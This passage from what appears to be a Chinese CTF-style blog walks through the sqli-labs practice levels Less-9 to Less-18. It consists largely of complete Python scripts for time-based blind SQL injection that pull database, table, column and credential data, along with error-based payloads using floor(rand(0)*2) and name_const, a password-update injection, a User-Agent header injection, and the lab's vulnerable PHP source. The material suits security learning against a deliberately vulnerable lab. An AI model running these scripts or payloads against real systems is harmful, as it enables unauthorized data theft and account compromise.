chr(i) print(colums,'字段值=',data) break # print(data) if __name__ == '__main__': # print(table_length()) # print(table_name(90)) # print(colums_length('users')) # print(column_name(70,'users')) # print(data_length('password','users')) print(data_datail(96,'password','users'))
Less-9:时间盲注+单引号闭合
单引号+时间盲注: ?id=1' and sleep(3)--+
1 ''' 2 @Modify Time @Author 3 ------------ ------- 4 2019/10/2 20:04 laoalo 5 ''' 6 # -*- coding:utf-8 -*- 7 import requests 8 import time 9 10 url = "http://192.168.40.165/sqli-labs-master/Less-9/?id=1'" 11 def database_length(): 12 global url 13 for i in range(1,10000): 14 sql = url + " and if((select length(database()))>"+str(i)+",0,sleep(3)) +--+" 15 s_time = time.time() 16 response = requests.get(url=sql,timeout=3) 17 e_time = time.time() 18 print(sql) 19 if(e_time-s_time) > 3: 20 print("数据库长:",i) 21 break 22 def database_name(database_length): 23 global url 24 sql = url + " and if(ascii(substr((select database()),{num},1))>{asc},0,sleep(3)) +--+" 25 db_name = '' 26 for num in range(1, database_length+1): 27 for asc in range(ord('a'), ord('z') + 1): 28 s_time = time.time() 29 requests.get(sql.format(num=num, asc=asc)) 30 e_time = time.time() 31 if (e_time - s_time) > 3: 32 db_name += chr(asc) 33 print("数据库名:",db_name) 34 break 35 def table_length(database_name): 36 global url 37 for i in range(1, 10000): 38 sql = url + " and if((select length((select group_concat(table_name) from information_schema.tables where table_schema='"+database_name+"')))>" + str(i) + ",0,sleep(3)) +--+" 39 s_time = time.time() 40 response = requests.get(url=sql, timeout=3) 41 e_time = time.time() 42 print(sql) 43 if (e_time - s_time) > 3: 44 print(database_name,"中的所有数据表名长:", i) 45 break 46 def table_name(table_length,database_name): 47 global url 48 sql = url + " and if(ascii(substr((select group_concat(table_name separator '@') from information_schema.tables where table_schema='"+database_name+"'),{num},1))>{asc},0,sleep(3)) +--+" 49 table_name = '' 50 for num in range(1, table_length + 1): 51 for asc in range(32, 128): 52 s_time = time.time() 53 requests.get(sql.format(num=num, asc=asc)) 54 e_time = time.time() 55 if (e_time - s_time) > 3: 56 table_name += chr(asc) 57 print("所有的数据表名:", table_name) 58 break 59 def column_length(table_name,database_name): 60 global url 61 for i in range(1, 10000): 62 sql = url + " and if((select length((select group_concat(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='"+database_name+"')))>" + str(i) + ",0,sleep(3)) +--+" 63 s_time = time.time() 64 requests.get(url=sql, timeout=3) 65 e_time = time.time() 66 # print(sql) 67 if (e_time - s_time) > 3: 68 print(table_name, "中的所有字段名长:", i) 69 break 70 def column_name(column_length,table_name,database_name): 71 global url 72 sql = url + " and if(ascii(substr((select group_concat(column_name separator '@') from information_schema.columns where table_name='" + table_name + "' and table_schema='"+database_name+"'),{num},1))>{asc},0,sleep(3)) +--+" 73 table_name = '' 74 for num in range(1, column_length + 1): 75 for asc in range(32, 128): 76 s_time = time.time() 77 requests.get(sql.format(num=num, asc=asc)) 78 e_time = time.time() 79 if (e_time - s_time) > 3: 80 table_name += chr(asc) 81 print("所有的数据表名:", table_name) 82 break 83 def data_length(column_name,table_name): 84 global url 85 for i in range(1, 10000): 86 sql = url + " and if((select length((select group_concat("+column_name+" separator '@') from " + table_name + ")))>" + str(i) + ",0,sleep(3)) +--+" 87 s_time = time.time() 88 requests.get(url=sql, timeout=3) 89 e_time = time.time() 90 # print(sql) 91 if (e_time - s_time) > 3: 92 print(column_name, "字段的值长:", i) 93 break 94 def data_detail(data_length,column_name,table_name): 95 global url 96 sql = url + " and if(ascii(substr((select group_concat("+column_name+" separator '@') from " + table_name + "),{num},1))>{asc},0,sleep(3)) +--+" 97 data = '' 98 for num in range(1, data_length + 1): 99 for asc in range(32, 128): 100 s_time = time.time() 101 requests.get(sql.format(num=num, asc=asc)) 102 e_time = time.time() 103 if (e_time - s_time) > 3: 104 data += chr(asc) 105 print(column_name,"字段的值:", data) 106 break 107 if __name__ == '__main__': 108 # database_length() # 8 109 # database_name(8) #security 110 # table_length('security')#security 中的所有数据表名长: 29 111 # table_name(29, 'security')#所有的数据表名: emails@referers@uagents@users 112 # column_length('users','security') #20 113 # column_name(20,'users','security')#所有的数据表名: id@username@password 114 # data_length('username', 'users')#91 115 data_detail(91, 'username', 'users')#username 字段的值: Dumb@Angelina@Dummy@secure@stupid@superman@batman@admin@admin1@admin2@admin3@dhakkan@admin4
Less-10:时间盲注+双引号闭合
双引号+时间盲注 ?id=1" and sleep(3)--+
1 ''' 2 @Modify Time @Author 3 ------------ ------- 4 2019/10/2 16:56 laoalo 5 ''' 6 # -*- coding:utf-8 -*- 7 import requests 8 import time 9 10 url = 'http://192.168.40.165/sqli-labs-master/Less-10/?id=1"' 11 def database_length(): 12 global url 13 for i in range(1,10000): 14 sql = url + " and if((select length(database()))>"+str(i)+",0,sleep(3)) +--+" 15 s_time = time.time() 16 response = requests.get(url=sql,timeout=3) 17 e_time = time.time() 18 print(sql) 19 if(e_time-s_time) > 3: 20 print("数据库长:",i) 21 break 22 def database_name(database_length): 23 global url 24 sql = url + " and if(ascii(substr((select database()),{num},1))>{asc},0,sleep(3)) +--+" 25 db_name = '' 26 for num in range(1, database_length+1): 27 for asc in range(ord('a'), ord('z') + 1): 28 s_time = time.time() 29 requests.get(sql.format(num=num, asc=asc)) 30 e_time = time.time() 31 if (e_time - s_time) > 3: 32 db_name += chr(asc) 33 print("数据库名:",db_name) 34 break 35 def table_length(database_name): 36 global url 37 for i in range(1, 10000): 38 sql = url + " and if((select length((select group_concat(table_name) from information_schema.tables where table_schema='"+database_name+"')))>" + str(i) + ",0,sleep(3)) +--+" 39 s_time = time.time() 40 response = requests.get(url=sql, timeout=3) 41 e_time = time.time() 42 print(sql) 43 if (e_time - s_time) > 3: 44 print(database_name,"中的所有数据表名长:", i) 45 break 46 def table_name(table_length,database_name): 47 global url 48 sql = url + " and if(ascii(substr((select group_concat(table_name separator '@') from information_schema.tables where table_schema='"+database_name+"'),{num},1))>{asc},0,sleep(3)) +--+" 49 table_name = '' 50 for num in range(1, table_length + 1): 51 for asc in range(32, 128): 52 s_time = time.time() 53 requests.get(sql.format(num=num, asc=asc)) 54 e_time = time.time() 55 if (e_time - s_time) > 3: 56 table_name += chr(asc) 57 print("所有的数据表名:", table_name) 58 break 59 def column_length(table_name,database_name): 60 global url 61 for i in range(1, 10000): 62 sql = url + " and if((select length((select group_concat(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='"+database_name+"')))>" + str(i) + ",0,sleep(3)) +--+" 63 s_time = time.time() 64 requests.get(url=sql, timeout=3) 65 e_time = time.time() 66 # print(sql) 67 if (e_time - s_time) > 3: 68 print(table_name, "中的所有字段名长:", i) 69 break 70 def column_name(column_length,table_name,database_name): 71 global url 72 sql = url + " and if(ascii(substr((select group_concat(column_name separator '@') from information_schema.columns where table_name='" + table_name + "' and table_schema='"+database_name+"'),{num},1))>{asc},0,sleep(3)) +--+" 73 table_name = '' 74 for num in range(1, column_length + 1): 75 for asc in range(32, 128): 76 s_time = time.time() 77 requests.get(sql.format(num=num, asc=asc)) 78 e_time = time.time() 79 if (e_time - s_time) > 3: 80 table_name += chr(asc) 81 print("所有的数据表名:", table_name) 82 break 83 def data_length(column_name,table_name): 84 global url 85 for i in range(1, 10000): 86 sql = url + " and if((select length((select group_concat("+column_name+" separator '@') from " + table_name + ")))>" + str(i) + ",0,sleep(3)) +--+" 87 s_time = time.time() 88 requests.get(url=sql, timeout=3) 89 e_time = time.time() 90 # print(sql) 91 if (e_time - s_time) > 3: 92 print(column_name, "字段的值长:", i) 93 break 94 def data_detail(data_length,column_name,table_name): 95 global url 96 sql = url + " and if(ascii(substr((select group_concat("+column_name+" separator '@') from " + table_name + "),{num},1))>{asc},0,sleep(3)) +--+" 97 data = '' 98 for num in range(1, data_length + 1): 99 for asc in range(32, 128): 100 s_time = time.time() 101 requests.get(sql.format(num=num, asc=asc)) 102 e_time = time.time() 103 if (e_time - s_time) > 3: 104 data += chr(asc) 105 print(column_name,"字段的值:", data) 106 break 107 if __name__ == '__main__': 108 # database_length() # 8 109 # database_name(8) #security 110 # table_length('security')#security 中的所有数据表名长: 29 111 # table_name(29, 'security')#所有的数据表名: emails@referers@uagents@users 112 # column_length('users','security') #20 113 # column_name(20,'users','security')#所有的数据表名: id@username@password 114 # data_length('username', 'users')#91 115 data_detail(91, 'username', 'users')#username 字段的值: Dumb@Angelina@Dummy@secure@stupid@superman@batman@admin@admin1@admin2@admin3@dhakkan@admin4
POST篇
Less-11:post注入
终于开始写post型的了,一开始打开这个界面真的是一脸懵逼,在逛了一波攻略,在师傅博客的点播下,才发现这个的套路跟less-1一毛一样,就是形似变化一下,可能不那么直接罢了Orz
Less-12:双引号+括号闭合
放大了一点burp,嘻嘻嘻。
Less-13:报错注入
背景知识:
这写是网上的一位师傅提供的构造,但是他没有详解【果然我还是太菜了,答案都看不懂Orz】
:Duplicate entry '::security::0' for key 1 ') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.tables group by a # &passwd=1# &submit=Submit select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))from information_schema.tables group by concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)); :Duplicate entry '::5.0.51a-3ubuntu5::0' for key 1 ') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=1&submit=Submit :Duplicate entry '5.0.51a-3ubuntu5::security::root@localhost:1' for key 1 ') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd=1&submit=Submit :Duplicate entry '13::1' for key 1 ') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit :Duplicate entry 'Dumb::Dumb::1' for key 1 ') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit
') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.tables group by a # &passwd=1# &submit=Submi
相当于:
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))from information_schema.tables group by concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2));
- 报错类型:”主键重复“
- 只要是count,rand(0),group by三个连用就会造成这种报错,与位置无关
- mysql官方说,在执行group by语句的时候,group by语句后面的字段会被运算两次
- rand(0)生成的序列更稳定
- concat()只是把 ":" 和 "数据库名" ,"floor(rand(0)*2)"的执行结果连接起来,看起来方便的,( 0x3a = : )
-
MYSQL报错注入的一点总结
-
sql注入报错注入原理解析
0x03 主键重复
这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路。网上比较常见的payload是这样的:
mysql> select count(*) from test group by concat(version(),floor(rand(0)*2)); ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
可以看到错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
这种报错方法的本质是因为
floor(rand(0)*2)
的重复性,导致group by语句出错。group by key
的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。举个例子,表中数据如下:mysql> select * from test; +------+-------+ | id | name | +------+-------+ | 0 | jack | | 1 | jack | | 2 | tom | | 3 | candy | | 4 | tommy | | 5 | jerry | +------+-------+ 6 rows in set (0.00 sec)
我们以
select count(*) from test group by name
语句说明大致过程如下:
- 先是建立虚拟表,其中key为主键,不可重复:
key count(*)
- 开始查询数据,去数据库数据,然后查看虚拟表是否存在,不存在则插入新记录,存在则count(*)字段直接加1:
key count(*) jack 1
key count(*) jack 1+1
key count(*) jack 1+1 tom 1
key count(*) jack 1+1 tom 1 candy 1 当这个操作遇到rand(0)*2时,就会发生错误,其原因在于rand(0)是个稳定的序列,我们计算两次rand(0):
mysql> select rand(0) from test; +---------------------+ | rand(0) | +---------------------+ | 0.15522042769493574 | | 0.620881741513388 | | 0.6387474552157777 | | 0.33109208227236947 | | 0.7392180764481594 | | 0.7028141661573334 | +---------------------+ 6 rows in set (0.00 sec) mysql> select rand(0) from test; +---------------------+ | rand(0) | +---------------------+ | 0.15522042769493574 | | 0.620881741513388 | | 0.6387474552157777 | | 0.33109208227236947 | | 0.7392180764481594 | | 0.7028141661573334 | +---------------------+ 6 rows in set (0.00 sec)
同理,floor(rand(0)*2)则会固定得到011011...的序列(这个很重要):
mysql> select floor(rand(0)*2) from test; +------------------+ | floor(rand(0)*2) | +------------------+ | 0 | | 1 | | 1 | | 0 | | 1 | | 1 | +------------------+ 6 rows in set (0.00 sec)
回到之前的group by语句上,我们将其改为
select count(*) from test group by floor(rand(0)*2)
,看看每一步是什么情况:
- 先建立空表
key count(*)
- 取第一条记录,执行
floor(rand(0)*2)
,发现结果为0(第一次计算),查询虚表,发现没有该键值,则会再计算一次floor(rand(0)*2)
,将结果1(第二次计算)插入虚表,如下:
key count(*) 1 1
- 查第二条记录,再次计算
floor(rand(0)*2)
,发现结果为1(第三次计算),查询虚表,发现键值1存在,所以此时不在计算第二次,直接count(*)值加1,如下:
key count(*) 1 1+1
- 查第三条记录,再次计算
floor(rand(0)*2)
,发现结果为0(第四次计算),发现键值没有0,则尝试插入记录,此时会又一次计算floor(rand(0)*2)
,结果1(第5次计算)当作虚表的主键,而此时1这个主键已经存在于虚表中了,所以在插入的时候就会报主键重复的错误了。- 最终报错的结果,即主键'1'重复:
mysql> select count(*) from test group by floor(rand(0)*2); ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
整个查询过程中,
floor(rand(0)*2)
被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错(也就是最少要让floor执行5次)。关于这个rand()的问题,官方文档在这里有个说明:View CodeRAND() in a WHERE clause is evaluated for every row (when selecting from one table) or combination of rows (when selecting from a multiple-table join). Thus, for optimizer purposes, RAND() is not a constant value and cannot be used for index optimizations.如果有一个序列开头时
0,1,0
或者1,0,1
,则无论如何都不会报错了,因为虚表开头两个主键会分别是0和1,后面的就直接count(*)加1了:mysql> select floor(rand(1)*2) from test; +------------------+ | floor(rand(1)*2) | +------------------+ | 0 | | 1 | | 0 | | 0 | | 0 | | 1 | +------------------+ 6 rows in set (0.00 sec) mysql> select count(*) from test group by floor(rand(1)*2); +----------+ | count(*) | +----------+ | 3 | | 3 | +----------+ 2 rows in set (0.00 sec)
查表: uname=') union select count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a# &passwd=1# &submit=Submit
但是发现还是查不到更加详细的数据:
原来是group_concat()的问题,后来改成limit 0,1过了,但是不知道为什么group_concat失败了:
由于不知道security库中到底有几张表,所以发包后,根据包长的大小可以看出有4张表:
查字段名:uname=') union select count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a# &passwd=1# &submit=Submit
接下来同理发包,得到 emails表中只有两个字段:
查emal_id的字段值:uname=') union select count(*),concat(0x3a,(select email_id from emails limit 0,1),0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a # &passwd=1# &submit=Submit
后记:
在查资料的时候发现了一个超级厉害的函数:name_const()
name_const(): mysql存储过程中的本地变量会被一个内部函数 name_const 转化,似乎是专门为存储过程设计的,没有提到有其它特别之处.
用法:union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
查表名:
1.uname=1') union select 1,3 from (select name_const((select table_name from information_schema.tables where table_schema='security' limit 0,1),1),name_const((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))x#
2.uname=1') union select 1,3 from (select name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema='security'),1),name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema='security'),1))x#
3.后面的以此类推
Less-14:双引号绕过+报错注入(更13一样)
方法一:
uname=1" union select 1,3 from (select name_const((select table_name from information_schema.tables where table_schema='security' limit 0,1),1),name_const((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))x#&passwd=12&submit=Submit
方法二:
uname=" union select count(*),concat(0x3a,(select email_id from emails limit 0,1),0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a # &passwd=1# &submit=Submit
Less-15:时间盲注+单引号
终于艰难的写出来了Orz。其中table_name()函数有参考一位师傅的脚本,但是我发现他跑到好慢,然后其他的就用的是 if 来写了,也懒得改了,大家仅供参考。
1 ''' 2 @Modify Time @Author 3 ------------ ------- 4 2019/10/5 18:21 laoalo 5 ''' 6 from urllib import * 7 import requests 8 from lxml import etree 9 import time 10 import datetime 11 d = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM,-@!" 12 url = "http://192.168.199.190/sqli-labs-master/Less-15/" 13 14 15 def database_length(): 16 global url 17 for i in range(1,10000): 18 s_time = datetime.datetime.now() 19 data = { 20 'uname' : "admin' and if ( length(database()) < %d , sleep(3) , 1)#" % (i), 21 'passwd': 'admin', 22 # 'submit': 'Submit' 23 } 24 print(data['uname']) 25 requests.post(url=url, data=data) 26 e_time = datetime.datetime.now() 27 if (e_time - s_time).seconds > 2: 28 print("\t\t\t\t数据库长:", i-1) 29 break 30 def database_name(length): 31 global url 32 name="" 33 for j in range(1,length+1): 34 for i in range(32, 128): 35 s_time = time.time() 36 data = { 37 'uname': "admin' and if (ascii (substr(database(), %d, 1))=%d, sleep(3), 1)#" % ( j , i), 38 'passwd': 'admin', 39 # 'submit': 'Submit' 40 } 41 re=requests.post(url=url, data=data) 42 e_time = time.time() 43 print(data['uname']) 44 # print("\t\t\t\t数据库名:", chr(i)) 45 if (e_time - s_time) > 2: 46 name += chr(i) 47 print("\t\t\t\t数据库名:", name) 48 break 49 def table_length(): 50 global url 51 for i in range(1, 10000): 52 s_time = datetime.datetime.now() 53 data = { 54 'uname': "admin' and if ( length((select group_concat(table_name) from information_schema.tables where table_schema=database())) < %d , sleep(3) , 1)#" % (i), 55 'passwd': 'admin', 56 # 'submit': 'Submit' 57 } 58 print(data['uname']) 59 requests.post(url=url, data=data) 60 e_time = datetime.datetime.now() 61 if (e_time - s_time).seconds > 2: 62 print("\t\t\t\t所有的数据表长:", i - 1) 63 break 64 def table_name(table_length): 65 global url 66 char = "abcdefghijklmnopqrstuvwxyz_" 67 print("start!") 68 tablename = "" 69 for i in range(0, table_length+1): 70 print("\n第 %d 张表的爆破" %(i+1)) 71 for j in range(0, 20): 72 for str in char: 73 # print(str) 74 time1 = datetime.datetime.now() 75 data = { 76 'uname': "admin'and If((mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))='%s',1,sleep(2))#" % (i, j, str), 77 'passwd': "1"} 78 res = requests.post(url, data=data) 79 print(data['uname']) 80 time2 = datetime.datetime.now() 81 sec = (time2 - time1).seconds 82 if sec < 1: 83 tablename += str 84 print("表名:",tablename) 85 break 86 87 print("\t\t\t\t表名:",tablename) 88 def colums_length(table_name): 89 global url 90 for i in range(1,10000): 91 s_time = datetime.datetime.now() 92 data = { 93 'uname' : "admin' and if ( length((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema=database())) < %d , sleep(3) , 1)#" % (i), 94 'passwd': 'admin', 95 # 'submit': 'Submit' 96 } 97 print(data['uname']) 98 requests.post(url=url, data=data) 99 e_time = datetime.datetime.now() 100 if (e_time - s_time).seconds > 2: 101 print("\t\t\t\t字段长:", i-1) 102 break 103 def column_name(length,table_name): 104 global url 105 column_name = "" 106 for j in range(1, length + 1): 107 for i in range(32, 128): 108 s_time = time.time() 109 data = { 110 'uname': "admin' and if (ascii (substr((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema=database()), %d, 1))=%d, sleep(3), 1)#" % (j, i), 111 'passwd': 'admin', 112 # 'submit': 'Submit' 113 } 114 re = requests.post(url=url, data=data) 115 e_time = time.time() 116 print(data['uname']) 117 # print("\t\t\t\t数据库名:", chr(i)) 118 if (e_time - s_time) > 2: 119 column_name += chr(i) 120 print("\t\t\t\t字段名:", column_name) 121 break 122 def data_length(colums,table): 123 global url 124 for i in range(1, 10000): 125 s_time = datetime.datetime.now() 126 data = { 127 'uname': "admin' and if ( length((select group_concat("+colums+") from "+table+")) < %d , sleep(3) , 1)#" % (i), 128 'passwd': 'admin', 129 # 'submit': 'Submit' 130 } 131 print(data['uname']) 132 requests.post(url=url, data=data) 133 e_time = datetime.datetime.now() 134 if (e_time - s_time).seconds > 2: 135 print("\t\t\t\t所有的数据长:", i - 1) 136 break 137 def data_datail(length,colums,table): 138 global url 139 column_name = "" 140 for j in range(1, length + 1): 141 for i in range(32, 128): 142 s_time = time.time() 143 data = { 144 'uname': "admin' and if (ascii (substr((select group_concat("+colums+") from "+table+"), %d, 1))=%d, sleep(3), 1)#" % (j, i), 145 'passwd': 'admin', 146 # 'submit': 'Submit' 147 } 148 re = requests.post(url=url, data=data) 149 e_time = time.time() 150 print(data['uname']) 151 # print("\t\t\t\t数据库名:", chr(i)) 152 if (e_time - s_time) > 2: 153 column_name += chr(i) 154 print("\t\t\t\t字段名:", column_name) 155 break 156 157 if __name__ == '__main__': 158 # database_length() 159 # database_name(8) 160 # table_length() 161 # table_name(10) 162 # colums_length('emails') 163 # column_name(11,'emails') 164 # data_length('email_id','emails') 165 data_datail(157,'email_id','emails')
当然还可以用burp直接慢慢发包:例如查数据库长度:uname=admin' and if (length(database())>1,0,sleep(3))+--+&passwd=admin&submit=Submit
根据时延判断出表长为8:
至于sqlmap就算了吧,好歹是练习手动啊喂。
Less-16:双引号+括号+时间盲注
跟15一样,脚本改改就可以上
Less-17:表面上的双重注入
上源码,可以看到过滤了uname:
1 <?php 2 //including the Mysql connect parameters. 3 include("../sql-connections/sql-connect.php"); 4 error_reporting(0); 5 6 function check_input($value) 7 { 8 /** 9 * 第一个条件截取长度为15 10 */ 11 if(!empty($value)) 12 { 13 // truncation (see comments) 14 $value = substr($value,0,15); 15 } 16 // Stripslashes if magic quotes enabled 17 /* get_magic_quotes_gpc(): 18 get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。 19 返回0表示本功能关闭,返回1表示本功能打开。 20 21 当magic_quotes_gpc打开时, 22 所有的'(单引号)、"(双引号)、\(反斜杠)和NULL(空字符) 23 会自动转为含有反斜杠的溢出字符。 24 */ 25 26 /* stripslashes(): 27 28 stripslashes(string)函数删除由addslashes()函数添加的反斜杠。 29 30 addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串: 31 单引号 ' 32 双引号 " 33 反斜杠 \ 34 空字符 NULL 35 该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。 36 37 注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。 38 所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。 39 遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。 40 41 */ 42 /** 43 * 第二个条件把已有的转义字符去掉 44 */ 45 if (get_magic_quotes_gpc()) 46 { 47 $value = stripslashes($value); 48 } 49 50 // Quote if not a number 51 52 /* 53 ctype_digit(string)函数 54 检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE。 55 */ 56 /** 57 * 第三个条件对字符型的输入进行转义 58 */ 59 if (!ctype_digit($value)) 60 { 61 $value = "'" . mysql_real_escape_string($value) . "'"; 62 /* 63 mysql_real_escape_string()函数 64 mysql_real_escape_string(string,connection) 65 66 参数:描述 67 string:必需,规定要转义的字符串 68 connection:可选,规定MySQL连接。如果未规定,则使用上一个连接 69 mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:\x00,\n,\r,\,',",\x1a 70 如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE。 71 72 本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query(),可使用本函数来预防数据库攻击。 73 74 75 */ 76 } 77 else 78 { 79 /** 80 * 第四个条件,如果是数字型的输入就让他变成数字,PS:话说这样就不能用十六进制注入了吧 81 * 82 */ 83 $value = intval($value); 84 /* 85 86 intval(var[,base]) 87 参数:描述 88 var:要转换成integer的数量值 89 base:转化所使用的进制 90 intval()函数获取变量的整数值。通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。 91 intval()不能用于object,否则会产生E_NOTICE错误并返回1。 92 93 成功时返回var的integer值,失败时返回0。 94 空的array返回0,非空的array返回1,最大的值取决于操作系统。 95 96 如果base是0,通过检测var的格式来决定使用的进制: 97 98 如果字符串包括了0x或0X的前缀,使用16进制hex;否则, 99 如果字符串以0开始,使用8进制octal;否则, 100 使用10进制decimal。 101 */ 102 } 103 return $value; 104 } 105 106 107 // take the variables 108 if(isset($_POST['uname']) && isset($_POST['passwd'])) 109 { 110 //making sure uname is not injectable 111 $uname=check_input($_POST['uname']); 112 113 $passwd=$_POST['passwd']; 114 115 116 //logging the connection parameters to a file for analysis. 117 $fp=fopen('result.txt','a'); 118 fwrite($fp,'User Name:'.$uname."\n"); 119 fwrite($fp,'New Password:'.$passwd."\n"); 120 fclose($fp); 121 122 123 // connectivity 124 @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; 125 126 $result=mysql_query($sql); 127 $row = mysql_fetch_array($result); 128 //echo $row; 129 if($row) 130 { 131 //echo '<font color= "#0000ff">'; 132 $row1 = $row['username']; 133 //echo 'Your Login name:'. $row1; 134 $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; 135 mysql_query($update); 136 echo "<br>"; 137 138 139 140 if (mysql_error()) 141 { 142 echo '<font color= "#FFFF00" font size = 3 >'; 143 print_r(mysql_error()); 144 echo "</br></br>"; 145 echo "</font>"; 146 } 147 else 148 { 149 echo '<font color= "#FFFF00" font size = 3 >'; 150 //echo " You password has been successfully updated " ; 151 echo "<br>"; 152 echo "</font>"; 153 } 154 155 echo '<img src="../images/flag1.jpg" />'; 156 //echo 'Your Password:' .$row['password']; 157 echo "</font>"; 158 159 160 161 } 162 else 163 { 164 echo '<font size="4.5" color="#FFFF00">'; 165 //echo "Bug off you Silly Dumb hacker"; 166 echo "</br>"; 167 echo '<img src="../images/slap1.jpg" />'; 168 169 echo "</font>"; 170 } 171 } 172 173 ?> 174 </font> 175 </div> 176 </body> 177 </html>
尝试基本注入:
最后尝试报错注入:[ name_const()真好用啊喂 ]
uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a) b) where username='admin'--+#&submit=Submit
uname=admin&passwd=' or (SELECT * FROM (SELECT name_const((select group_concat(table_name) from information_schema.tables where table_schema='security'),1),name_const((select group_concat(table_name) from information_schema.tables where table_schema='security'),1)) a)--+
uname=admin&passwd=' or (SELECT * FROM (SELECT name_const((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),1),name_const((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),1)) a)--+
uname=admin&passwd=' or (SELECT * FROM (SELECT name_const((select group_concat(email_id) from emails),1),name_const((select group_concat(email_id) from emails),1)) a)--+
详细解析:Sqli-Labs:Less17*
Less-18:http头注入——user-agent
关键语句:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
一开始还以为我凉了,后来查数据库才知道这题注入的前提是账户名和密码要正确!!!!
' or (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a) b) or '1'='1
1 <?php 2 //including the Mysql connect parameters. 3 include("../sql-connections/sql-connect.php"); 4 error_reporting(0); 5 6 function check_input($value) 7 { 8 if(!empty($value)) 9 { 10 // truncation (see comments) 11 $value = substr($value,0,20); 12 } 13 14 // Stripslashes if magic quotes enabled 15 if (get_magic_quotes_gpc()) 16 { 17 $value = stripslashes($value); 18 } 19 20 // Quote if not a number 21 if (!ctype_digit($value)) 22 { 23 $value = "'" . mysql_real_escape_string($value) . "'"; 24 } 25 else 26 { 27 $value = intval($value); 28 } 29 30 return $value; 31 } 32 33 $uagent = $_SERVER['HTTP_USER_AGENT']; 34 $IP = $_SERVER['REMOTE_ADDR']; 35 echo "<br>"; 36 echo 'Your IP ADDRESS is: ' .$IP; 37 echo "<br>"; 38 //echo 'Your User Agent is: ' .$uagent; 39 // take the variables 40 41 42 if(isset($_POST['uname']) && isset($_POST['passwd'])) 43 { 44 45 $uname = check_input($_POST['uname']); 46 $passwd = check_input($_POST['passwd']); 47 48 49 //logging the connection parameters to a file for analysis. 50 $fp=fopen('result.txt','a'); 51 fwrite($fp,'User Agent:'.$uname."\n"); 52 53 fclose($fp); 54 55 56 57 $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; 58 $result1 = mysql_query($sql); 59 $row1 = mysql_fetch_array($result1); 60 if($row1) 61 { 62 echo '<font color= "#FFFF00" font size = 3 >'; 63 $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; 64 mysql_query($insert); 65 //echo 'Your IP ADDRESS is: ' .$IP; 66 echo "</font>"; 67 //echo "<br>"; 68 echo '<font color= "#0000ff" font size = 3 